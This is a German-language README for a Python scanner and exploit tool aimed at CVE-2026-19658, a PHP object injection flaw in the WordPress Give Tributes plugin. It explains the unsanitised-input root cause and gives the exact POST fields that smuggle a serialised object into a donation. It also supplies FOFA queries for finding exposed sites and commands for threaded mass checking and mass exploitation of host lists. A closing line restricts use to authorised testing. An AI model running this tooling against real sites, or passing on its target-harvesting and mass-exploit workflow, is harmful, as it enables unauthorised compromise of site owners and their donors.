
Python-3-Prüf- und Exploit-Helfer für CVE-2026-19658, eine PHP-Object-Injection-Schwachstelle in WordPress Give Tributes, mit FOFA-Zielerkennung und Ausnutzung des Legacy-Spendenformulars.
Python-3-Proof-of-Concept Scanner und Exploit-Helfer für die Spendenkette für CVE-2026-19658 im WordPress-Add-on Give - Tributes (Liquid Web / GiveWP).
| Plattform | WordPress-Plugin (erfordert GiveWP-Core) |
| Komponente | Give - Tributes |
| Betroffen | ≤ 2.3.1 |
| Behoben in | 2.3.1.1+ (bereinigte Multi-Empfänger-eCard-Felder) |
| CVSS | 9.8 Kritisch |
| Auth | Unauthentifiziert (Legacy-Spendenformular) |
| CWE | CWE-502 — Deserialisierung nicht vertrauenswürdiger Daten |
| Zuweiser | Wordfence |
Wenn Allow Multiple Recipients für eCards aktiviert und die eCard custom message deaktiviert ist (Standard), speichern anfällige Versionen rohe $_POST-eCard-Empfängerdaten in den Spenden-Metadaten. Die GiveWP-Feldvalidierung verwendet eine give_clean()-Kopie von $_POST (serialisierte Strings werden dort geleert), aber insert_tribute_data() liest unbereinigtes $_POST, sodass first_name / last_name eines zweiten Empfängers ein PHP-serialisiertes Objekt enthalten können.
Auswirkung: Keine bekannte POP-Kette allein innerhalb von Give Tributes. Die Metadaten werden beim Lesen deserialisiert (z. B. Admin-eCard-Vorschau/Erneut-Versenden). RCE oder destruktive Auswirkungen erfordern eine Gadget-Kette aus einem anderen installierten Plugin oder Theme.
[give_form] / v2), nicht nur v3 Visual Form Buildermanual auf Dev/Staging)pip install -r requirements.txtpip install -r requirements.txt
# Single target — check (terminal flow on by default for --list)
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 20 --flow
# Single target — exploit (authorized targets only)
python poc.py -u https://target.example --mode exploit \
--form-url /donate/ --form-id 123 --gateway manual \
--payload 'O:8:"stdClass":0:{}'
# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 8 --flow \
--vuln-list exploited.txt
Beispiele:
body="/wp-content/plugins/give-tributes/"
body="give-tributes" && body="givewp"
Host-Liste (eine Domain pro Zeile):
python poc.py --list my_hosts.txt --mode check --threads 20 --flow
FOFA-CSV-Export:
python fofa_to_list.py -i fofa_export.csv
python poc.py --list list.txt --mode check --threads 20
| Option | Beschreibung |
|---|---|
-u, --url | Einzelne Basis-URL |
--list | URL-Liste, Host-Datei oder candidates.jsonl |
--mode | check oder exploit |
--form-url | Pfad zur Spendenseite oder vollständige URL |
--form-id | Give-Formular-Post-ID |
--paths | Zusätzliche Pfade zum Crawlen nach Formularen |
--payload | Serialisiertes Objekt für first_name des 2. Empfängers |
--gateway | Give payment-mode (Standard manual) |
--email | Spender-give_email |
--flow | Eine Zeile pro Ziel bei Massenläufen (Standard mit --list) |
--no-flow | Nur Fortschrittszusammenfassung |
--quiet, -q | Minimale Konsolenausgabe |
--threads, -j | Massenparallelität (Standard 12) |
--output | JSONL-Log (Standard cve_2026_19658_results.jsonl) |
--vuln-list | Text-Treffer / Exploit-Zeilen (Standard hits.txt) |
--candidates-list | Check-Metadaten-JSONL (Standard candidates.jsonl) |
Verwenden Sie --vuln-list exploited.txt bei Exploit-Läufen, damit Check-Treffer in hits.txt nicht überschrieben werden.
| Datei | Modus | Inhalt |
|---|---|---|
cve_2026_19658_results.jsonl | beide | Vollständiges JSON pro Ziel |
hits.txt | check | URLs mit exploitable_candidate |
candidates.jsonl | check | best_form, Versionshinweise |
exploited.txt | exploit | url|payment=… bei bestätigter Spende |
status-Werte| Status | Bedeutung |
|---|---|
candidate | Anfälliges Plugin + Give + Legacy-Formular mit Tributes-UI |
vulnerable_no_form | Plugin/Version OK, kein geeignetes Formular auf gecrawlten Pfaden gefunden |
patched | Tributes > 2.3.1 oder ≥ 2.3.1.1 (wenn Version lesbar) |
give_only | Give ohne erkennbare Tributes |
no_plugin | Tributes nicht erkannt |
Der Remote-Scan kann „Allow Multiple Recipients“ nicht zuverlässig erkennen; Kandidaten können zur Exploit-Zeit dennoch fehlschlagen.
first_name-Feld.manual-Gateway ist in der Produktion oft deaktiviert — versuchen Sie Gateways, die im Formular sichtbar sind (stripe, paypal, test, …).give validation rejected donation: Tribute-/Notify-Optionen, Betrag oder Gateway-Stimmmigkeit.give_tributes_show_dedication=yes
give_tributes_would_to=send_eCard
give_tributes_ecard_notify[recipient][first_name][]=Valid
give_tributes_ecard_notify[recipient][first_name][]=<serialized payload>
give_tributes_ecard_notify[recipient][email][]=<donor email>
give_tributes_ecard_notify[recipient][email][][email protected]
…
.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Lokale Scan-Listen und Lauf-Artefakte (list.txt, fofa*.csv, *.jsonl, hits.txt, …) befinden sich in .gitignore und sollten nicht committet werden.
Nur für autorisiertes Sicherheitstesting und Schulung. Sie sind für die Einhaltung der geltenden Gesetze und Programmregeln verantwortlich.